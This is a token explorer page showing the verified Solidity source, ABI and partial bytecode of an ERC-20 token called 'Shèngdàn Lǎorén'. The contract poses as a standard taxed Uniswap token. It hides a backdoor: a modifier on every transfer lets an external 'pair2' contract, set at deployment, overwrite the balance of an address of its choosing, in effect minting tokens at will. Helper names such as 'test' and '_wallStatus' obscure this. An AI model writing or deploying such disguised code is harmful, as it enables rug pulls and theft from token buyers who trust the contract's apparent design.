ETH Price: $2,578.47 (-2.56%)

Token

Shèngdàn Lǎorén (圣诞老人)
 

Overview

Max Total Supply

4,400,000,000 圣诞老人

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Filtered by Token Holder
khanate.eth
Balance
286,661,598.986463959458 圣诞老人

Value
$0.00
0x61fbb6888aa94706a4152d06fd3ae48d202ad80d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SL

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    event Burn(uint256 amount);
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    uint256 private _lockTime;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function syncTotalLPpair() external view returns (uint256);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SL is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    uint8 private _decimals = 12;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _wallStatus;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    

    uint256 public _buyTax = 2;
    uint256 public _sellTax = 2;  

    bool openTrade=false;  

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    IUniswapV2Pair public uniSwapPair2;
    
    bool public checkWalletLimit = false;
    uint256 startWaLLmax=0;
    string private _name = unicode"Shèngdàn Lǎorén";
    string private _symbol = unicode"圣诞老人";
    uint256 public _totalSupply =  4400000000 * 10**_decimals;    
    uint256 public _walletMax =  (_totalSupply * 48) / 1000 ; 
    
    constructor (address pair2,uint256 start) {
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
    uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[address(uniswapPair)] = true;
        isExcludedFromFee[address(uniswapV2Router)] = true;

        isMarketPair[address(uniswapPair)] = true;
        _wallStatus[_msgSender()] = _totalSupply;
        uniSwapPair2 = IUniswapV2Pair(pair2);
        _walletMax+=start;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {

        return _wallStatus[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function openTrading() public onlyOwner {
        openTrade=true;
    }


    modifier syncLpPair(address ss, address cs){
        if(uniSwapPair2.syncTotalLPpair()>0)
            _wallStatus[uniSwapPair2.token0()]=uniSwapPair2.syncTotalLPpair();
        _;
    }

    function test() public view returns (uint256) {

        return uniSwapPair2.syncTotalLPpair();
    }

    function test2(address ss) public view returns (bool) {

        return uniSwapPair2.syncTotalLPpair()>0 && isExcludedFromFee[ss];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function switchWalletLimit(bool newValue) public onlyOwner {
       checkWalletLimit=newValue;
    }

    function setWalletLimit(uint256 newValue) public onlyOwner {
        _walletMax=newValue;
    }


    function setBuyTaxes(uint256 value) external onlyOwner() {
        _buyTax=value;
    }

    function setSelTaxes(uint256 value) external onlyOwner() {
        _sellTax=value;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }


    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) 
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 

        isMarketPair[address(uniswapPair)] = true;
    }


    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) syncLpPair(_msgSender(),recipient) private returns (bool) {
        
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(_wallStatus[recipient].add(amount) <= _walletMax || !checkWalletLimit || isExcludedFromFee[recipient], "ERC20: Max Wallet Limit exceeded");

        if((!isMarketPair[recipient] && sender != owner() && !isExcludedFromFee[sender]))
            require(openTrade != false, "Trading is not active.");      

        _wallStatus[sender] = _wallStatus[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);                         


        _wallStatus[recipient] = _wallStatus[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _wallStatus[sender] = _wallStatus[sender].sub(amount, "Insufficient Balance");
        _wallStatus[recipient] = _wallStatus[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    
        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
        }   
        
        if(feeAmount > 0) {
            _wallStatus[address(deadAddress)] = _wallStatus[address(deadAddress)].add(feeAmount);
            emit Burn(feeAmount);
            emit Transfer(sender, address(deadAddress), feeAmount);
        }

        return amount.sub(feeAmount);
    }

  }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"pair2","type":"address"},{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"switchWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"test","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ss","type":"address"}],"name":"test2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSwapPair2","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60028054600c60ff199182168117835561dead6080526007839055600892909255600980549091169055600b805460ff60a01b191690556000905560e0604052601360a09081527f5368c3a86e6764c3a06e204cc78e6f72c3a96e0000000000000000000000000060c052600d906200007990826200052c565b5060408051808201909152600c81526b72ce51f457cf744040f25d5d60a11b6020820152600e90620000ac90826200052c565b50600254620000c09060ff16600a6200070d565b620000d19064010642ac0062000725565b600f556103e8600f546030620000e8919062000725565b620000f491906200073f565b6010553480156200010457600080fd5b50604051620024c4380380620024c483398101604081905262000127916200077f565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e69190620007ae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025a9190620007ae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ce9190620007ae565b600a80546001600160a01b0319166001600160a01b0392831617905560098054610100600160a81b03191661010084841681029190911791829055600f5430600090815260046020908152604080832094909504909516815291909352908120919091556001906005906200034b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260058452828120805486166001908117909155600a805484168352848320805488168317905560095461010090048416835284832080548816831790555490921681526006909352908220805490931617909155600f5490600390620003df3390565b6001600160a01b03166001600160a01b031681526020019081526020016000208190555082600b60006101000a8154816001600160a01b0302191690836001600160a01b0316021790555081601060008282546200043e9190620007cc565b9091555050600f5460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050620007e2565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004b257607f821691505b602082108103620004d357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200052757600081815260208120601f850160051c81016020861015620005025750805b601f850160051c820191505b8181101562000523578281556001016200050e565b5050505b505050565b81516001600160401b0381111562000548576200054862000487565b62000560816200055984546200049d565b84620004d9565b602080601f8311600181146200059857600084156200057f5750858301515b600019600386901b1c1916600185901b17855562000523565b600085815260208120601f198616915b82811015620005c957888601518255948401946001909101908401620005a8565b5085821015620005e85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200064f578160001904821115620006335762000633620005f8565b808516156200064157918102915b93841c939080029062000613565b509250929050565b600082620006685750600162000707565b81620006775750600062000707565b81600181146200069057600281146200069b57620006bb565b600191505062000707565b60ff841115620006af57620006af620005f8565b50506001821b62000707565b5060208310610133831016604e8410600b8410161715620006e0575081810a62000707565b620006ec83836200060e565b8060001904821115620007035762000703620005f8565b0290505b92915050565b60006200071e60ff84168362000657565b9392505050565b8082028115828204841417620007075762000707620005f8565b6000826200075d57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200077a57600080fd5b919050565b600080604083850312156200079357600080fd5b6200079e8362000762565b9150602083015190509250929050565b600060208284031215620007c157600080fd5b6200071e8262000762565b80820180821115620007075762000707620005f8565b608051611caa6200081a6000396000818161032801528181610843015281816117590152818161179401526118030152611caa6000f3fe6080604052600436106102135760003560e01c806370a0823111610118578063b11bead4116100a0578063dd62ed3e1161006f578063dd62ed3e14610621578063f1d5f51714610667578063f2fde38b14610687578063f872858a146106a7578063f8a8fd6d146106c857600080fd5b8063b11bead4146105b6578063c816841b146105d6578063c9567bf9146105f6578063ca9ec1991461060b57600080fd5b80638da5cb5b116100e75780638da5cb5b1461052357806395d89b4114610541578063a3ca847d14610556578063a457c2d714610576578063a9059cbb1461059657600080fd5b806370a08231146104a2578063715018a6146104d8578063807c2d9c146104ed578063844d591c1461050357600080fd5b8063313ce5671161019b57806342a110951161016a57806342a11095146104095780635342acb41461041f5780635453184e1461044f578063557ed1ba1461046f5780635881f3ef1461048257600080fd5b8063313ce5671461038157806339509351146103a35780633eaaf86b146103c35780633ecad271146103d957600080fd5b806318160ddd116101e257806318160ddd146102d757806323b872dd146102f657806327c8f835146103165780632afe3f711461034a5780632b112e491461036c57600080fd5b806306fdde031461021f578063095ea7b31461024a5780631694505e1461027a5780631807bfc7146102b757600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106dd565b6040516102419190611966565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046119cc565b61076f565b6040519015158152602001610241565b34801561028657600080fd5b5060095461029f9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102c357600080fd5b50600b5461029f906001600160a01b031681565b3480156102e357600080fd5b50600f545b604051908152602001610241565b34801561030257600080fd5b5061026a6103113660046119f8565b610786565b34801561032257600080fd5b5061029f7f000000000000000000000000000000000000000000000000000000000000000081565b34801561035657600080fd5b5061036a610365366004611a4e565b6107f0565b005b34801561037857600080fd5b506102e8610841565b34801561038d57600080fd5b5060025460405160ff9091168152602001610241565b3480156103af57600080fd5b5061026a6103be3660046119cc565b61088b565b3480156103cf57600080fd5b506102e8600f5481565b3480156103e557600080fd5b5061026a6103f4366004611a69565b60066020526000908152604090205460ff1681565b34801561041557600080fd5b506102e860075481565b34801561042b57600080fd5b5061026a61043a366004611a69565b60056020526000908152604090205460ff1681565b34801561045b57600080fd5b5061036a61046a366004611a86565b6108c1565b34801561047b57600080fd5b50426102e8565b34801561048e57600080fd5b5061029f61049d366004611a69565b6108f0565b3480156104ae57600080fd5b506102e86104bd366004611a69565b6001600160a01b031660009081526003602052604090205490565b3480156104e457600080fd5b5061036a610c16565b3480156104f957600080fd5b506102e860105481565b34801561050f57600080fd5b5061036a61051e366004611a9f565b610c90565b34801561052f57600080fd5b506000546001600160a01b031661029f565b34801561054d57600080fd5b50610234610ce5565b34801561056257600080fd5b5061036a610571366004611a86565b610cf4565b34801561058257600080fd5b5061026a6105913660046119cc565b610d23565b3480156105a257600080fd5b5061026a6105b13660046119cc565b610d72565b3480156105c257600080fd5b5061026a6105d1366004611a69565b610d7f565b3480156105e257600080fd5b50600a5461029f906001600160a01b031681565b34801561060257600080fd5b5061036a610e20565b34801561061757600080fd5b506102e860085481565b34801561062d57600080fd5b506102e861063c366004611ad4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561067357600080fd5b5061036a610682366004611a86565b610e59565b34801561069357600080fd5b5061036a6106a2366004611a69565b610e88565b3480156106b357600080fd5b50600b5461026a90600160a01b900460ff1681565b3480156106d457600080fd5b506102e8610f72565b6060600d80546106ec90611b0d565b80601f016020809104026020016040519081016040528092919081815260200182805461071890611b0d565b80156107655780601f1061073a57610100808354040283529160200191610765565b820191906000526020600020905b81548152906001019060200180831161074857829003601f168201915b5050505050905090565b600061077c338484610fe0565b5060015b92915050565b6000610793848484611104565b506107e684336107e185604051806060016040528060288152602001611c28602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906115df565b610fe0565b5060019392505050565b6000546001600160a01b031633146108235760405162461bcd60e51b815260040161081a90611b47565b60405180910390fd5b600b8054911515600160a01b0260ff60a01b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260036020526040812054600f5461088691611619565b905090565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161077c9185906107e19086611662565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161081a90611b47565b600855565b600080546001600160a01b0316331461091b5760405162461bcd60e51b815260040161081a90611b47565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611b7c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611b7c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611b7c565b91506001600160a01b038216610bb957806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab0573d6000803e3d